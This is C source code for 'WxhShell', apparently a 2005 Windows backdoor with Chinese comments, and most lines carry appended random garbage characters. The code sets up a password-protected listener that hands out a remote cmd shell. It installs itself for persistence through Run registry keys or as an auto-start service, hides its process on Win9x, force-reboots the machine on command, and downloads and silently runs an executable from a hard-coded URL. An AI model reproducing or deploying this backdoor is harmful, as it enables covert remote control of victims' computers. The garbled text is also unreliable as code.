    if(Boot(SHUTDOWN)) [zhcb+^5l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EakS(Q?  
    else { hJGWa%`  
    closesocket(wsh); Iq(;?_  
    ExitThread(0);  o[>p  
    } y0 qq7Dmu  
    break; (^= Hq'D  
    } (Ek=0;Cr  
  // 获取shell @v=A)L  
  case 's': { 33w(Pw  
    CmdShell(wsh); eo'C)j# U  
    closesocket(wsh); b* o,re)Dj  
    ExitThread(0); jAOD&@z1  
    break; 1~9AQ[]w8  
  } ;aUI3n%  
  // 退出 mG+hLRTXP  
  case 'x': { l&m'?. g f  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); "dBCS  
    CloseIt(wsh); ybVdWOqv  
    break; $:<G=  
    } \:-N<[  
  // 离开 ATf{;S}  
  case 'q': { W'<cAg?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?p!+s96  
    closesocket(wsh); KDy:A>_ G"  
    WSACleanup(); 'W|@d8}h  
    exit(1); -I{J]L$S #  
    break; U4,hEnJBT  
        } nuX W/7M  
  } n`g:dz  
  } RYKV?f#[H  
eO=!(  
  // 提示信息 P%xz"l i  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `-)Fx<e  
} o)IcAqN$H  
  } vh6#Bc)i%w  
h}$]3/5H  
  return; 4!tHJCq"  
} w\3'wD!  
7`6JK  
// shell模块句柄 IXmO1*o@  
int CmdShell(SOCKET sock) POvpaPAZ<  
{ kEs=N(  
STARTUPINFO si; *oz=k  
ZeroMemory(&si,sizeof(si)); 0!,)7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .j0]hn]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R7!^ M  
PROCESS_INFORMATION ProcessInfo; /WI HG0D  
char cmdline[]="cmd"; -Fs^^={Q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 9wC:8@`6E  
  return 0; O5p]E7/e  
} cP MUu9du  
UT7".1H  
// 自身启动模式 =m= utd8  
int StartFromService(void) Gg9NG`e6I  
{ 7<VfE`Q3  
typedef struct ~+Da`Wp  
{ wuTCdBu6hU  
  DWORD ExitStatus; yD!V;?EnK  
  DWORD PebBaseAddress; J#y?^Qm$)<  
  DWORD AffinityMask; ps6c>AN`A&  
  DWORD BasePriority; "Z6:d"S`  
  ULONG UniqueProcessId; t#h<'?\E  
  ULONG InheritedFromUniqueProcessId; $MG. I[h  
}   PROCESS_BASIC_INFORMATION; `;R|SyrX  
-/ #tQ~{gs  
PROCNTQSIP NtQueryInformationProcess; <ArP_! `3  
kVZ5>D$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ywV8s|o  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c/57_fOK  
#/9(^6f:  
  HANDLE             hProcess; s(I7}oRWsL  
  PROCESS_BASIC_INFORMATION pbi; kM\O2 ay  
 <XxFR  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;{inhiySN  
  if(NULL == hInst ) return 0; <~Tlx:  
S Yvifgp  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); gaJIc^O  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :{tvAdMl7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #YSUPO%F  
s:/.:e_PU  
  if (!NtQueryInformationProcess) return 0; , eZL&n  
eMvb*X6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z qg(\  
  if(!hProcess) return 0; {q:o}<-L+  
HH|&$C|64  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a".uS4x  
Wwf#PcC]  
  CloseHandle(hProcess); 5i$~1ZC  
*<!W k\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =`X@+~%-  
if(hProcess==NULL) return 0; G K @]61b  
f.=4p^  
HMODULE hMod; pstQithS  
char procName[255]; SJ-g2aAT  
unsigned long cbNeeded; hoihdVjv  
97Qng*i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Sn/~R|3XA7  
GJItGq`)  
  CloseHandle(hProcess); (r.{v@h,dV  
m!:7ur:Y  
if(strstr(procName,"services")) return 1; // 以服务启动 >1tGQ cg  
6Bp{FOj:Ss  
  return 0; // 注册表启动  v|Tg %  
} wDZFOx0#8  
DwZt.*  
// 主模块 ys;e2xekg  
int StartWxhshell(LPSTR lpCmdLine) @"HR"@pX  
{ @:xO5L}Io  
  SOCKET wsl; D.<CkD B  
BOOL val=TRUE; &hba{!`y  
  int port=0; WL}6YSC  
  struct sockaddr_in door; =D4EPfQn1  
LZG^\c$  
  if(wscfg.ws_autoins) Install(); _A)<"z0E  
XI\aZ\v  
port=atoi(lpCmdLine); Rhx7eU#&  
BQB O]<99  
if(port<=0) port=wscfg.ws_port; h ;5 -X7  
+c\s%Gzrh  
  WSADATA data; vd /_`l.D  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KX)xCR~  
4W.;p"S2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   x[}e1sXXs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C)z[Blt  
  door.sin_family = AF_INET; &u"*vG (U[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vO{ijHKE  
  door.sin_port = htons(port); ?/)5U}*M0T  
=O)JPo&iwY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ok\+$+ $ju  
closesocket(wsl); GKY:"q&h  
return 1; nHKEtKDd  
} 0m`7|80#P  
7"xd'\c@  
  if(listen(wsl,2) == INVALID_SOCKET) { 4'54  
closesocket(wsl); n/@/yJ<EFi  
return 1; i? AZ|Ha[  
} Lx?bO`=qg7  
  Wxhshell(wsl); L238l  
  WSACleanup(); 54J<ZXCs  
].dTEzL9X  
return 0; y=vH8D]%X  
e^XijId.  
}  R/^JyL  
cT0utR&  
// 以NT服务方式启动 X_'.@q<!CV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z{p6Q1u  
{ Sc6wC H  
DWORD   status = 0; X=\ #n-*  
  DWORD   specificError = 0xfffffff; .4!N #'  
N`Bt|#R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a LmVOL{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ? 3}UO:B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xe+&/J5b  
  serviceStatus.dwWin32ExitCode     = 0; d;<n [)@  
  serviceStatus.dwServiceSpecificExitCode = 0; rY!uc!  
  serviceStatus.dwCheckPoint       = 0; DAu|`pyC%  
  serviceStatus.dwWaitHint       = 0; Xq>e]#gR  
-;P<Q`{I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N^ D/}n  
  if (hServiceStatusHandle==0) return; {sm={q  
>>$IHz4Z"  
status = GetLastError(); RaU.yCYyu  
  if (status!=NO_ERROR) dWqFP  
{ 4(aesZ8h  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o@>c[knJ  
    serviceStatus.dwCheckPoint       = 0; Etu>z+P!  
    serviceStatus.dwWaitHint       = 0; xD\Km>|i  
    serviceStatus.dwWin32ExitCode     = status; Q"hI!PO+  
    serviceStatus.dwServiceSpecificExitCode = specificError; [V)sCAW  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); h{* O9O<  
    return; p fBO5Ys  
  } _kY5 6  
3K?0PRg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mzT} C&hfP  
  serviceStatus.dwCheckPoint       = 0; )b%c]!  
  serviceStatus.dwWaitHint       = 0; "{x~j \<  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K%pmE?%,8  
} #dpt=  
<,E*,&0W  
// 处理NT服务事件,比如:启动、停止 99ha /t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'hek CZZ_I  
{ ?Nh%!2n  
switch(fdwControl) =` i 7?  
{ 'o7PIhD"  
case SERVICE_CONTROL_STOP: phc1AN=[E  
  serviceStatus.dwWin32ExitCode = 0; f0D Ch]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; KV5lpN PC  
  serviceStatus.dwCheckPoint   = 0; 4*+EUJ|  
  serviceStatus.dwWaitHint     = 0; xapkhIW2\  
  { ]F@md(J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }a9C /t3  
  } p_z"Uwp  
  return; \OU+Kl<  
case SERVICE_CONTROL_PAUSE: YjX=@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 42wcpSp  
  break; Mb>6.l  
case SERVICE_CONTROL_CONTINUE: 5pok%g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *[SsvlFt  
  break; H*\[:tPa  
case SERVICE_CONTROL_INTERROGATE: .d "+M{I  
  break; tH'VV-!MZ  
}; vR)7qX}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OpL 6Y+<  
} w//w$}v  
Y=rr6/k  
// 标准应用程序主函数 -1_Z*?=-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z>,X$ Y6<  
{ 4w z 6%  
qXI30Yo#d  
// 获取操作系统版本 ^J RTi'v  
OsIsNt=GetOsVer(); zl:D|h77  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9#(QS+q~  
?:FotnU*p  
  // 从命令行安装 Hxl,U>za#  
  if(strpbrk(lpCmdLine,"iI")) Install(); T8441qo{>  
<dN=d3S  
  // 下载执行文件 iCK$ o_`?  
if(wscfg.ws_downexe) { +z D'r5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x5|v# -F ^  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;Bb5KD  
} vUK>4^{J5  
_#4,&bh8  
if(!OsIsNt) { btF%}<o)  
// 如果时win9x,隐藏进程并且设置为注册表启动 _B1uE2j9  
HideProc(); J:lwq@u  
StartWxhshell(lpCmdLine); {@#L'i|  
} 0l6iv[qu5w  
else ,xz^ k/.  
  if(StartFromService()) 68c;Vb  
  // 以服务方式启动 yy } 0_  
  StartServiceCtrlDispatcher(DispatchTable); |d5L Ifb(  
else 2`I;f/S d  
  // 普通方式启动 1!`768  
  StartWxhshell(lpCmdLine); /a(zLHyz)  
e 1loI8  
return 0; BP[U` !  
} .V3Dql@z"  
b e/1- =m  
n`}&, UA$4  
N 9&@,3  
=========================================== Mak9qaWqF>  
BZ<z@DJp  
G zXP  
]'h)7  
Mdrv/x{  
M=WE^v!b  
" #P-HV  
b(q&}60  
#include <stdio.h> B%@!\ D#  
#include <string.h> .:ZXtU  
#include <windows.h> 93Gur(j^  
#include <winsock2.h> 3K!0 4\  
#include <winsvc.h> |2<f<k/UT  
#include <urlmon.h> $cOD6Xr)d  
1:!rw,Jzl`  
#pragma comment (lib, "Ws2_32.lib") R$fIb}PDr  
#pragma comment (lib, "urlmon.lib") T+nC>}*jgJ  
0o|,& K  
#define MAX_USER   100 // 最大客户端连接数 D:ugP ,  
#define BUF_SOCK   200 // sock buffer otVyuh  
#define KEY_BUFF   255 // 输入 buffer _Af4ct;ng  
:3>yr5a7-  
#define REBOOT     0   // 重启 L[G\+   
#define SHUTDOWN   1   // 关机 5SL>q`t.bd  
pInWKj[y1  
#define DEF_PORT   5000 // 监听端口 ePRMv  
{}o>ne nx\  
#define REG_LEN     16   // 注册表键长度 /Z " 4[  
#define SVC_LEN     80   // NT服务名长度 /C"s_:m;3  
Hs}"A,V  
// 从dll定义API ]A]E)*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 70 UgKE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !(_xu{(DL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7 3z Y^ x  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9H}iX0O  
A4Q)YY9~  
// wxhshell配置信息 6+;2B<II  
struct WSCFG { iB3 +KR  
  int ws_port;         // 监听端口 f5b`gvCY,#  
  char ws_passstr[REG_LEN]; // 口令 %H}Y]D~R  
  int ws_autoins;       // 安装标记, 1=yes 0=no Mto~ /  
  char ws_regname[REG_LEN]; // 注册表键名 !$xEX,vj|W  
  char ws_svcname[REG_LEN]; // 服务名 N^yO- xk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 KHus/M&0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @*"<U]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  q3-;}+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /^33 e+j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &#oZ>`Qu  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sR>;h /  
4`-?r%$,:  
}; 31sgf5 s  
C$RAJ  
// default Wxhshell configuration ;k&k#>L!K  
struct WSCFG wscfg={DEF_PORT, #Wm@&|U  
    "xuhuanlingzhe", ROt0<^<  
    1, vx5o k1UY  
    "Wxhshell", EOnp!]Y  
    "Wxhshell", ?> MoV5  
            "WxhShell Service", YeExjC  
    "Wrsky Windows CmdShell Service", ua|Z`qUyq  
    "Please Input Your Password: ", l&sO?P[ /  
  1, Xf_tj:eO~  
  "http://www.wrsky.com/wxhshell.exe", 5-5(`OZ{'  
  "Wxhshell.exe" &]yJCzo]  
    }; Y5i`pY/}#?  
G2+)R^FSC  
// 消息定义模块 BdoC6H  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v*'iWHCl,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; io Y\8i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d!QD vO  
char *msg_ws_ext="\n\rExit."; 9 QCpXy  
char *msg_ws_end="\n\rQuit."; Kpp *^  
char *msg_ws_boot="\n\rReboot..."; =Sb:<q+Q  
char *msg_ws_poff="\n\rShutdown..."; ;p#Z:6  
char *msg_ws_down="\n\rSave to "; -6~dJTm[t  
1|EU5<  
char *msg_ws_err="\n\rErr!"; N]s7/s  
char *msg_ws_ok="\n\rOK!"; vzyI::f?  
!Ir1qt8 T  
char ExeFile[MAX_PATH]; enbN0  
int nUser = 0; 7z&adkG:  
HANDLE handles[MAX_USER]; 'q};L6  
int OsIsNt; >uchF8)e|  
3n84YX{  
SERVICE_STATUS       serviceStatus; zsMw5C  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Fy _<Ui  
*L4]\wf  
// 函数声明 _czbUl  
int Install(void); #1jtprc  
int Uninstall(void); SCh7O}  
int DownloadFile(char *sURL, SOCKET wsh); 61+pryW%g  
int Boot(int flag); K* _{Rs0P  
void HideProc(void); _> |R-vQ8  
int GetOsVer(void); V:F+HMBk  
int Wxhshell(SOCKET wsl); cdJ`Gk  
void TalkWithClient(void *cs); f.$aFOn  
int CmdShell(SOCKET sock); ^!o1l-Y^gr  
int StartFromService(void); !7kLFW  
int StartWxhshell(LPSTR lpCmdLine); H81.p  
PX69  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RlslF9f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); j""y2c1  
.,ppGc| *  
// 数据结构和表定义 "doU.U&u  
SERVICE_TABLE_ENTRY DispatchTable[] = A1|7(Sow  
{ iFwyh`Bcg  
{wscfg.ws_svcname, NTServiceMain}, YM`:L  
{NULL, NULL} #GY&$8.u*  
}; 38*'8=Y#>  
$&xuVBs   
// 自我安装 ||'i\X|[  
int Install(void) N[a ljC-R  
{ Gdf1+mi  
  char svExeFile[MAX_PATH]; XAQ\OX#  
  HKEY key; %TW% |"v  
  strcpy(svExeFile,ExeFile); ~`~%(DA=  
z)ft3(!  
// 如果是win9x系统,修改注册表设为自启动 0279g   
if(!OsIsNt) { 2Z/][?Jj{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \f /!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); M}=s3[d(,  
  RegCloseKey(key); #7-kL7 MK]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  \8>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0\EpH[m}-  
  RegCloseKey(key); k%Ma4_Z  
  return 0; <m Ju v  
    } +3/k/W  
  } *w'q  
} Q3NPwM  
else { wr3_Bf3]  
xs2,t*  
// 如果是NT以上系统,安装为系统服务 j[m_qohd7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); IDGQIg  
if (schSCManager!=0) |5}rX!wS4  
{ wO2V%v^bp  
  SC_HANDLE schService = CreateService ,c,Xd  
  ( RV0>-@/x  
  schSCManager, z)58\rtz  
  wscfg.ws_svcname, H-/; l54E  
  wscfg.ws_svcdisp, 6m, KL5>W  
  SERVICE_ALL_ACCESS, Ism^hyL  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S+) l[0  
  SERVICE_AUTO_START, YM #  
  SERVICE_ERROR_NORMAL, Qq,i  
  svExeFile, 6?1s`{yy  
  NULL, l)tTg+:  
  NULL, 9*}iBs  
  NULL, &\J?[>EJ.  
  NULL, V-D}U$fw  
  NULL Sk6b`W7$  
  ); ;mf4 U85  
  if (schService!=0) =_$XP   
  { dN$ 1$B^k  
  CloseServiceHandle(schService); a"0B?3*r46  
  CloseServiceHandle(schSCManager); 4 [R8(U[g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); RLYU\@kK?  
  strcat(svExeFile,wscfg.ws_svcname); 18DTv6?QG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { M>*0r<qn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E^Q@9C<!d  
  RegCloseKey(key); j!zA+hF (  
  return 0; g,t3OnxS?  
    } Veb+^&  
  } Lv `#zgo_f  
  CloseServiceHandle(schSCManager); 2-vJv+-  
} ~t'#nV  
} $$haVY&  
zAeGkP~K  
return 1; 9">zdFC'  
} fOa6,  
kZV^F*7  
// 自我卸载 |?OdV<5C  
int Uninstall(void) fH{9]TU_:  
{ Zi 2o  
  HKEY key; 1%$d D2  
&Q\_;  
if(!OsIsNt) { ! (2-(LgA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9 9Ba{qj  
  RegDeleteValue(key,wscfg.ws_regname); !MZ+-dpK  
  RegCloseKey(key); Z~r[;={,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G{@C"H[$<  
  RegDeleteValue(key,wscfg.ws_regname); :7 qqjs  
  RegCloseKey(key);  Jt##rVN  
  return 0; zq,iLoY[R  
  } >;&Gz-lm  
} jrIA]K6  
} Ze-MAt  
else { NJn&>/vM  
aQ(`6DQv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Z} c'Bm(  
if (schSCManager!=0) _LJ5o_-N  
{ Hu<p?mF#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W[@i;f^g  
  if (schService!=0) ,/i_QgP  
  { k/df(cs  
  if(DeleteService(schService)!=0) { :=rA Yc3]  
  CloseServiceHandle(schService); FJO"|||Y'|  
  CloseServiceHandle(schSCManager); r8IX/ ,  
  return 0; oS~}TR:}  
  } C@*%AY  
  CloseServiceHandle(schService); `*>V6B3  
  } 7SBM^r}  
  CloseServiceHandle(schSCManager); ?QGmoQ)  
} %0vTA_W  
} ;(K  
! mm5I#s  
return 1; u K'<xM"%T  
} A:kkCG!~Nf  
}0$mn)*k  
// 从指定url下载文件 vT?Q^PTO  
int DownloadFile(char *sURL, SOCKET wsh) . 3Gn ZR,L  
{ Q(lku"U'  
  HRESULT hr; BR;QY1  
char seps[]= "/"; %m oJF1  
char *token; Iph3%RaE  
char *file; tC2N >C[N  
char myURL[MAX_PATH]; 8O;Vl  
char myFILE[MAX_PATH]; 0eFb?Z0]  
GP* +  
strcpy(myURL,sURL); BEln6zj  
  token=strtok(myURL,seps); bFSlf5*H  
  while(token!=NULL) pFpZbU^  
  { (Up'$J}  
    file=token; L{=l#vu  
  token=strtok(NULL,seps); N;<//,  
  } <D;MT96SG  
"LOnDa7E^  
GetCurrentDirectory(MAX_PATH,myFILE); DMB"Y,  
strcat(myFILE, "\\"); C*7!dW6  
strcat(myFILE, file); .AXdo'&2i  
  send(wsh,myFILE,strlen(myFILE),0); !L77y^oV  
send(wsh,"...",3,0); z/S,+!|z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); O7v]p  
  if(hr==S_OK) M:_!w[NiLp  
return 0; Xt ft*Z  
else 5^>n5u/  
return 1; ^OF5F8Tf/  
|=\91fP68`  
} Raefj(^V  
1  o|T  
// 系统电源模块 X:_<Y_JT  
int Boot(int flag) N<(HPE};  
{ /KAlK5<  
  HANDLE hToken; ?yp0$r/  
  TOKEN_PRIVILEGES tkp; _ENuwBYW-  
Yj3P 7k$c  
  if(OsIsNt) { Te;gVG*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :lK4 db  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p'&*r2_ram  
    tkp.PrivilegeCount = 1; ob'n{T+lZ  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *xcP`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;W0]66&  
if(flag==REBOOT) { +vz` go  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MHo1 lrZa+  
  return 0; [h4o7  
} =D].`  
else { ~Eq\DK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]M3# 3Ha"  
  return 0; ]NtSu%u  
} ]ZTcOf  
  } Ib1e#M3  
  else { O6iCZ  
if(flag==REBOOT) { ~s#e,Kav"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) X2gz6|WJ  
  return 0; ^Gq5ig1rxy  
} 8%[HYgd5)  
else { B;!f<"a8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +yWR#[`n  
  return 0; RZO5=L9E  
} t[EfOQ  
} &!jq!u$(  
c&f y{}10  
return 1; !%xP}{(7  
} 2J<&rKCF  
.Pw%DZ'  
// win9x进程隐藏模块 -4flV D  
void HideProc(void) ;xK_qBIP  
{ /)9W1U^B  
,)h)5o(?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B!bsTvX  
  if ( hKernel != NULL ) B wC+ov=  
  { tWY2o3j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); M^6$ MMx  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); W&(f&{A  
    FreeLibrary(hKernel); LmQ/#Gx  
  } Z)&D`RCf  
=-~;OH /  
return; cS|VJWgTZ  
}  i-W  
'# z]M  
// 获取操作系统版本 RH(V^09[o  
int GetOsVer(void) [;KmT{I9  
{ 5j{Np,K  
  OSVERSIONINFO winfo; r7 VXeoX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NP/>H9Q2%  
  GetVersionEx(&winfo); zoP%u,XL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @Z;1 g  
  return 1; F Z!J  
  else Y-p<qL|_  
  return 0; +y&d;0!  
} ?t rV72D  
`.=sTp2rbc  
// 客户端句柄模块 rg5]&<Vq8  
int Wxhshell(SOCKET wsl) j'G tgT  
{ j7 d:v7+_  
  SOCKET wsh; J!h^egP  
  struct sockaddr_in client; '<@=vGsye  
  DWORD myID; d TGA5c  
7zDiHac  
  while(nUser<MAX_USER) = .oHnMX2M  
{ *Oo &}oAj  
  int nSize=sizeof(client); }nud  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); k\N4@UK  
  if(wsh==INVALID_SOCKET) return 1; A+ 0,i  
E'c%d[:H,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;=jr0\|e  
if(handles[nUser]==0) &|5GB3H =  
  closesocket(wsh); },c,30V'  
else IfV  3fJ7  
  nUser++; kWL.ewTiex  
  } 4;KWG}~[o  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8]< f$3.  
0{) $SY  
  return 0; 4v dNMV~  
} 'iUg[{'+  
feEMg  
// 关闭 socket 0 ^~\COa  
void CloseIt(SOCKET wsh) .Q>!B?)  
{ VC-;S7k  
closesocket(wsh); (j&A",^^S  
nUser--; (/h5zCc/v  
ExitThread(0); 'v&}(  
} S>Z|) I  
pOga6'aB)  
// 客户端请求句柄 H4<Nnd\   
void TalkWithClient(void *cs) C!%:o/  
{ ;sPzOS9  
#[ -\lU|  
  SOCKET wsh=(SOCKET)cs; "T6#  
  char pwd[SVC_LEN]; D59T?B|BdD  
  char cmd[KEY_BUFF]; PRs@zkO  
char chr[1]; 2 x 4=  
int i,j; lKV"Mh+6  
ULBg {e?l8  
  while (nUser < MAX_USER) { )`HA::  
Vhg1/EgUr  
if(wscfg.ws_passstr) { mBk5+KyT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ijUzC>O+q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 W'F3  
  //ZeroMemory(pwd,KEY_BUFF); oq;'eM1,.  
      i=0; Ya Y8 `M{  
  while(i<SVC_LEN) { {CUk1+  
l1+[  
  // 设置超时 4]&<?"LSK  
  fd_set FdRead; P7GRSjG  
  struct timeval TimeOut; -_8*41  
  FD_ZERO(&FdRead); ?o[L7JI  
  FD_SET(wsh,&FdRead); lDc;__}Ws  
  TimeOut.tv_sec=8; . (`3JQ2s  
  TimeOut.tv_usec=0; lCb+{OB  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); y79qwM.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c-CYdi@  
&35|16z%@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,&]MOe4@>  
  pwd=chr[0]; '2^ Yw  
  if(chr[0]==0xd || chr[0]==0xa) { w+AuMc  
  pwd=0; dpzw.Z  
  break; :tGYs8UK  
  } 61K"(r~  
  i++; ..KwTf  
    } k#)Ad*t  
t})$lM  
  // 如果是非法用户,关闭 socket 7_\Mwy{P  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); g+[kde;(^  
} kv?|'DN  
-{g~TUz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'ks{D(`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); HKmcQM  
(36K3=Qa  
while(1) { ", B'k  
[CN$ScK,  
  ZeroMemory(cmd,KEY_BUFF); /c-nE3+rn  
eD;6okdP  
      // 自动支持客户端 telnet标准   }e{qW  
  j=0; K|^wc$  
  while(j<KEY_BUFF) { xtfRrX^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bEH de*q(  
  cmd[j]=chr[0]; 8^yJqAXK  
  if(chr[0]==0xa || chr[0]==0xd) { .y4&rF$n  
  cmd[j]=0; ?nFO:N<  
  break; "mIgs9l$  
  } B BL485`  
  j++; SGcBmjP  
    } sQ1jrkm  
d53 L65[  
  // 下载文件 4%ZM:/  
  if(strstr(cmd,"http://")) { 5cfA;(H  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ,4@|1z{bfm  
  if(DownloadFile(cmd,wsh)) LAs7>hM  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E5G{B'%j  
  else VWf %v  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Tz-X o  
  } 3<(q }  
  else { >Hwc,j q  
LtKB v 4  
    switch(cmd[0]) { 6m`{Z`c$  
  zCe/Kukvy  
